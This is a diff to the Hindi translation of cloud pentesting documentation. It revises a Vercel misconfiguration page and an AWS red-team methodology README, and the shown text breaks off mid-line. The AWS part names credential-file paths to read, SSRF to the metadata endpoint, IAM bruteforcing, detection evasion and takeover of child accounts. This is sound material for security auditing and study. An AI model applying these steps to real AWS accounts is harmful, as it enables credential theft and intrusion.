एक हमलावर परियोजनाओं को चुरा सकता है - **Delete Project** -- **Misconfiguration:** सभी प्रोजेक्ट्स के साथ टीम को हटाने की अनुमति देता है -- **Risk:** प्रोजेक्ट्स को हटाना +- **Misconfiguration:** सभी परियोजनाओं के साथ टीम को हटाने की अनुमति देता है +- **Risk:** परियोजनाओं को हटाना --- @@ -307,22 +311,22 @@ Vercel में एक **Team** वह पूरी **environment** है ज - **Misconfiguration:** एक हमलावर एक ऐसा खाता आमंत्रित करके स्थायीता बनाए रख सकता है जिसे वह नियंत्रित करता है - **Risk:** हमलावर की स्थिरता - **Roles** -- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है, Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - **Risk**: Vercel Team की एक्सपोजर बढ़ाना --- ### Access Groups -Vercel में एक **Access Group** प्रोजेक्ट्स और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई प्रोजेक्ट्स में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाता है। +Vercel में एक **Access Group** परियोजनाओं और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई परियोजनाओं में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाते हैं। **Potential Misconfigurations:** -- **Over-Permissioning Members:** अनावश्यक रूप से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना। +- **Over-Permissioning Members:** आवश्यकताओं से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना। - **Improper Role Assignments:** भूमिकाएँ गलत तरीके से असाइन करना जो टीम के सदस्यों की जिम्मेदारियों के साथ मेल नहीं खाती, जिससे विशेषाधिकार वृद्धि होती है। -- **Lack of Project Segregation:** संवेदनशील प्रोजेक्ट्स को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है। -- **Insufficient Group Management:** एक्सेस ग्रुप्स की नियमित समीक्षा या अपडेट नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं। -- **Inconsistent Role Definitions:** विभिन्न एक्सेस ग्रुप्स में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं। +- **Lack of Project Segregation:** संवेदनशील परियोजनाओं को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है। +- **Insufficient Group Management:** एक्सेस समूहों की नियमित समीक्षा या अद्यतन नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं। +- **Inconsistent Role Definitions:** विभिन्न एक्सेस समूहों में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं। --- @@ -342,37 +346,37 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ - **Team Email Domain:** जब कॉन्फ़िगर किया जाता है, तो यह सेटिंग स्वचालित रूप से निर्दिष्ट डोमेन (जैसे, `mydomain.com`) के साथ समाप्त होने वाले ईमेल पते वाले Vercel व्यक्तिगत खातों को आपके टीम में शामिल होने के लिए आमंत्रित करती है। - **Misconfiguration:**\ -- गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना। -- एक सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के। +गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना। +- सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के। - **Risks:** -- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकते हैं। -- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील प्रोजेक्ट जानकारी का संभावित उजागर होना। -- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी को डिप्लॉय करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है। +- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकता है। +- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील परियोजना जानकारी का संभावित उजागर होना। +- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी तैनात करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है। - **Misconfiguration:** सुरक्षित सूची में महत्वपूर्ण Git स्कोप जोड़ने में विफलता। - **Risks:** -- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी को डिप्लॉय कर सकती हैं। -- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर डिप्लॉय और एक्सेस किया जा सकता है। -- **Environment Variable Policies:** टीम के वातावरण वेरिएबल्स के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी वातावरण वेरिएबल्स को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के डिप्लॉयमेंट सिस्टम द्वारा डिक्रिप्ट किया जा सकता है। -- **Misconfiguration:** संवेदनशील वातावरण वेरिएबल्स के प्रवर्तन को अक्षम रखना। +- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी तैनात कर सकती हैं। +- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर तैनात और एक्सेस किया जा सकता है। +- **Environment Variable Policies:** टीम के पर्यावरण चर के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी पर्यावरण चर को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के तैनाती प्रणाली द्वारा डिक्रिप्ट किया जा सकता है। +- **Misconfiguration:** संवेदनशील पर्यावरण चर के प्रवर्तन को अक्षम रखना। - **Risks:** -- **Exposure of Secrets:** वातावरण वेरिएबल्स को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है। -- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल्स लीक हो सकते हैं। -- **Audit Log:** टीम की गतिविधियों का निर्यात प्रदान करता है जो पिछले 90 दिनों तक होता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं। +- **Exposure of Secrets:** पर्यावरण चर को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है। +- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल लीक हो सकते हैं। +- **Audit Log:** टीम की गतिविधियों का पिछले 90 दिनों के लिए निर्यात प्रदान करता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं। - **Misconfiguration:**\ -अनधिकृत टीम के सदस्यों को ऑडिट लॉग्स तक पहुंच देना। +अनधिकृत टीम के सदस्यों को ऑडिट लॉग तक पहुंच देना। - **Risks:** - **Privacy Violations:** संवेदनशील उपयोगकर्ता गतिविधियों और डेटा का उजागर होना। -- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता लॉग को बदल या हटा सकते हैं ताकि वे अपने निशान छिपा सकें। +- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता अपने ट्रैक को छिपाने के लिए लॉग को बदल या हटा सकते हैं। - **SAML Single Sign-On:** आपकी टीम के लिए SAML प्रमाणीकरण और निर्देशिका समन्वय को अनुकूलित करने की अनुमति देता है, केंद्रीकृत प्रमाणीकरण और उपयोगकर्ता प्रबंधन के लिए एक पहचान प्रदाता (IdP) के साथ एकीकरण सक्षम करता है। -- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट्स को बैकडोर कर सकता है। +- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट सेटअप में बैकडोर कर सकता है। - **Risk:** स्थिरता बनाए रखना -- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी क्वेरी और लॉग ड्रेनों में प्रदर्शित होते हैं। +- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी प्रश्नों और लॉग ड्रेनों में प्रदर्शित होते हैं। - **Misconfiguration:** आवश्यकता के बिना IP पते की दृश्यता को सक्षम छोड़ना। - **Risks:** -- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR का अनुपालन न करना। +- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR के साथ अनुपालन में विफलता। - **Legal Repercussions:** व्यक्तिगत डेटा के गलत प्रबंधन के लिए संभावित जुर्माना और दंड। -- **IP Blocking:** IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे Vercel को अनुरोधों को ब्लॉक करना चाहिए। ब्लॉक किए गए अनुरोध आपके बिलिंग में योगदान नहीं करते हैं। -- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को ब्लॉक करने के लिए दुरुपयोग किया जा सकता है। +- **IP Blocking:** Vercel को उन IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे अनुरोधों को अवरुद्ध करना चाहिए। अवरुद्ध अनुरोध आपके बिलिंग में योगदान नहीं करते हैं। +- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को अवरुद्ध करने के लिए दुरुपयोग किया जा सकता है। - **Risks:** - **Service Denial to Legitimate Users:** वैध उपयोगकर्ताओं या भागीदारों के लिए पहुंच को अवरुद्ध करना। - **Operational Disruptions:** कुछ क्षेत्रों या ग्राहकों के लिए सेवा उपलब्धता का नुकसान। @@ -386,32 +390,32 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ #### **Potential Misconfigurations and Risks** 1. **Incorrect AWS Region Selection** -- **Misconfiguration:** Secure Compute नेटवर्क के लिए एक AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता। +- **Misconfiguration:** Secure Compute नेटवर्क के लिए AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता। - **Risk:** बढ़ी हुई लेटेंसी, संभावित डेटा निवास अनुपालन मुद्दे, और प्रदर्शन में कमी। 2. **Overlapping CIDR Blocks** -- **Misconfiguration:** CIDR ब्लॉक्स का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं। -- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा लीक का कारण बनता है। +- **Misconfiguration:** CIDR ब्लॉकों का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं। +- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा रिसाव का कारण बनता है। 3. **Improper VPC Peering Configuration** - **Misconfiguration:** VPC पीयरिंग को गलत तरीके से सेट करना (जैसे, गलत VPC IDs, अधूरी रूट टेबल अपडेट)। -- **Risk:** बैकएंड अवसंरचना तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन। +- **Risk:** बैकएंड बुनियादी ढांचे तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन। 4. **Excessive Project Assignments** -- **Misconfiguration:** उचित अलगाव के बिना एकल Secure Compute नेटवर्क में कई प्रोजेक्ट्स को असाइन करना। -- **Risk:** साझा IP एक्सपोजर हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए प्रोजेक्ट्स को दूसरों को प्रभावित करने की अनुमति देता है। +- **Misconfiguration:** उचित अलगाव के बिना एक Secure Compute नेटवर्क को कई परियोजनाओं को असाइन करना। +- **Risk:** साझा IP का उजागर होना हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए परियोजनाओं को अन्य पर प्रभाव डालने की अनुमति देता है। 5. **Inadequate IP Address Management** - **Misconfiguration:** समर्पित IP पते का उचित प्रबंधन या रोटेट करने में विफलता। - **Risk:** IP स्पूफिंग, ट्रैकिंग कमजोरियाँ, और यदि IPs दुर्भावनापूर्ण गतिविधियों से जुड़े हैं तो संभावित ब्लैकलिस्टिंग। 6. **Including Build Containers Unnecessarily** -- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में बिल्ड कंटेनरों को जोड़ना। +- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में निर्माण कंटेनरों को जोड़ना। - **Risk:** विस्तारित हमले की सतह, बढ़ी हुई प्रावधान में देरी, और नेटवर्क संसाधनों की अनावश्यक खपत। 7. **Failure to Securely Handle Bypass Secrets** -- **Misconfiguration:** डिप्लॉयमेंट सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना। -- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, हमलावरों को दुर्भावनापूर्ण कोड को हेरफेर या डिप्लॉय करने की अनुमति देना। +- **Misconfiguration:** तैनाती सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना। +- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, हमलावरों को हेरफेर या दुर्भावनापूर्ण कोड तैनात करने की अनुमति देना। 8. **Ignoring Region Failover Configurations** - **Misconfiguration:** निष्क्रिय फेलओवर क्षेत्रों को सेट करने में विफलता या फेलओवर सेटिंग्स को गलत तरीके से कॉन्फ़िगर करना। - **Risk:** प्राथमिक क्षेत्र की आउटेज के दौरान सेवा डाउनटाइम, उपलब्धता में कमी और संभावित डेटा असंगति। 9. **Exceeding VPC Peering Connection Limits** - **Misconfiguration:** अनुमत सीमा से अधिक VPC पीयरिंग कनेक्शन स्थापित करने का प्रयास करना (जैसे, 50 कनेक्शनों से अधिक)। -- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, डिप्लॉयमेंट विफलताओं और परिचालन व्यवधानों का कारण बनता है। +- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, तैनाती विफलताओं और परिचालन व्यवधानों का कारण बनना। 10. **Insecure Network Settings** - **Misconfiguration:** कमजोर फ़ायरवॉल नियम, एन्क्रिप्शन की कमी, या Secure Compute नेटवर्क के भीतर गलत नेटवर्क विभाजन। - **Risk:** डेटा इंटरसेप्शन, बैकएंड सेवाओं तक अनधिकृत पहुंच, और हमलों के प्रति बढ़ी हुई संवेदनशीलता। @@ -420,13 +424,13 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ ### Environment Variables -**Purpose:** सभी प्रोजेक्ट्स द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें। +**Purpose:** सभी परियोजनाओं द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें। #### Security Configurations: - **Exposing Sensitive Variables** -- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं। -- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। +- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना। +- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। - **Sensitive disabled** - **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है। - **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index a7b580696..12107a5fb 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजने हैं और उन्हें कैसे भुनाना है। +**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, गलत कॉन्फ़िगरेशन कैसे खोजें और उनका कैसे लाभ उठाएं। संगठन की पदानुक्रम, IAM और अन्य बुनियादी अवधारणाओं जैसे सिद्धांतों को समझाया गया है: @@ -29,15 +29,15 @@ Tools to simulate attacks: ## AWS Pentester/Red Team Methodology -AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। +AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएं उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएं और **बाहरी सेवाएं** कैसे जुड़ी हुई हैं। -Red Team के दृष्टिकोण से, **AWS वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं: +Red Team के दृष्टिकोण से, AWS वातावरण को समझौता करने का **पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहां कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं: - github (या समान) में **लीक** - OSINT - **सामाजिक** इंजीनियरिंग - **पासवर्ड** पुन: उपयोग (पासवर्ड लीक) -- AWS-होस्टेड अनुप्रयोगों में कमजोरियाँ -- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जो मेटाडेटा एंडपॉइंट तक पहुँच प्रदान करती है +- AWS-होस्टेड अनुप्रयोगों में कमजोरियां +- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुंच है - **स्थानीय फ़ाइल पढ़ें** - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` @@ -51,20 +51,20 @@ Red Team के दृष्टिकोण से, **AWS वातावरण aws-unauthenticated-enum-access/ {{#endref}} -या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** मांग सकते हैं: +या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** के लिए **पूछ सकते हैं**: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानना होगा कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी गणना करनी होगी: +> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुंच है**, इसलिए आपको कुछ बुनियादी गणना करने की आवश्यकता है: ## Basic Enumeration ### SSRF -यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो इस पृष्ठ पर ट्रिक्स के लिए देखें: +यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो ट्रिक्स के लिए इस पृष्ठ की जांच करें: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -100,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**। +यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के अधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और **privileges को बढ़ाने** का तरीका। -यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें चुराने के लिए ब्रूटफोर्स कर सकते हैं**।\ -**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** की जांच करें: +यदि आपके पास IAM को enumerating करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **bruteforce करके उन्हें चुरा सकते हैं**।\ +**संख्यांकन और ब्रूट-फोर्सिंग कैसे करें** की जांच करें: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ -> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं। +> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ +> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को enumerating करने के तरीके** की जांच कर सकते हैं। ## Services Enumeration, Post-Exploitation & Persistence -AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** cheatsheets\*\*,\*\* **पता लगाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** तरकीबें पाएंगे: +AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, enumeration** cheatsheets\*\*,\*\* **detention से बचने** का तरीका, **persistence** प्राप्त करने और उनमें से कुछ के बारे में अन्य **post-exploitation** ट्रिक्स पाएंगे: {{#ref}} aws-services/ {{#endref}} -ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं। +ध्यान दें कि आपको **सारा काम** **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं। -इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं: +इसके अलावा, इस चरण में आप **अप्रमाणित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं: {{#ref}} aws-unauthenticated-enum-access/ @@ -139,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -जब आप AWS सेवाओं को सूचीबद्ध कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\ +जब आप AWS सेवाओं को enumerating कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\ एक pentester/red teamer के रूप में आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं। -इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर AWS सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा: +इस पुस्तक में आपको **जानकारी** मिलेगी कि **उजागर AWS सेवाओं को कैसे खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा: {{#ref}} https://book.hacktricks.xyz/ @@ -156,18 +156,18 @@ https://book.hacktricks.xyz/
-तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको आवश्यकता है: +तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको चाहिए: - **प्रबंधन** खाते को **समझौता** करें और **बच्चे के खातों** के **ID** और **भूमिकाओं** के **नाम** (डिफ़ॉल्ट रूप से OrganizationAccountAccessRole) को खोजें जो प्रबंधन खाते को व्यवस्थापक के रूप में पहुँचने की अनुमति देते हैं। - बच्चों के खातों को खोजने के लिए AWS कंसोल में संगठनों के अनुभाग पर जाएँ या `aws organizations list-accounts` चलाएँ। -- आप भूमिकाओं के नाम सीधे नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**। -- **प्रबंधन खाते में एक** **principal** को **`sts:AssumeRole` अनुमति के साथ समझौता करें जो बच्चों के खातों में भूमिका पर है** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)। +- आप सीधे भूमिकाओं के नाम नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**। +- **प्रबंधन खाते में एक **principal** को **`sts:AssumeRole` अनुमति के साथ बच्चों के खातों में भूमिका पर समझौता करें** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)। ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रह उपकरण** जो Ruby में लिखा गया है। +- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रहण उपकरण** जो Ruby में लिखा गया है। ```bash # Install gem install aws_recon @@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \ --verbose ``` - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी 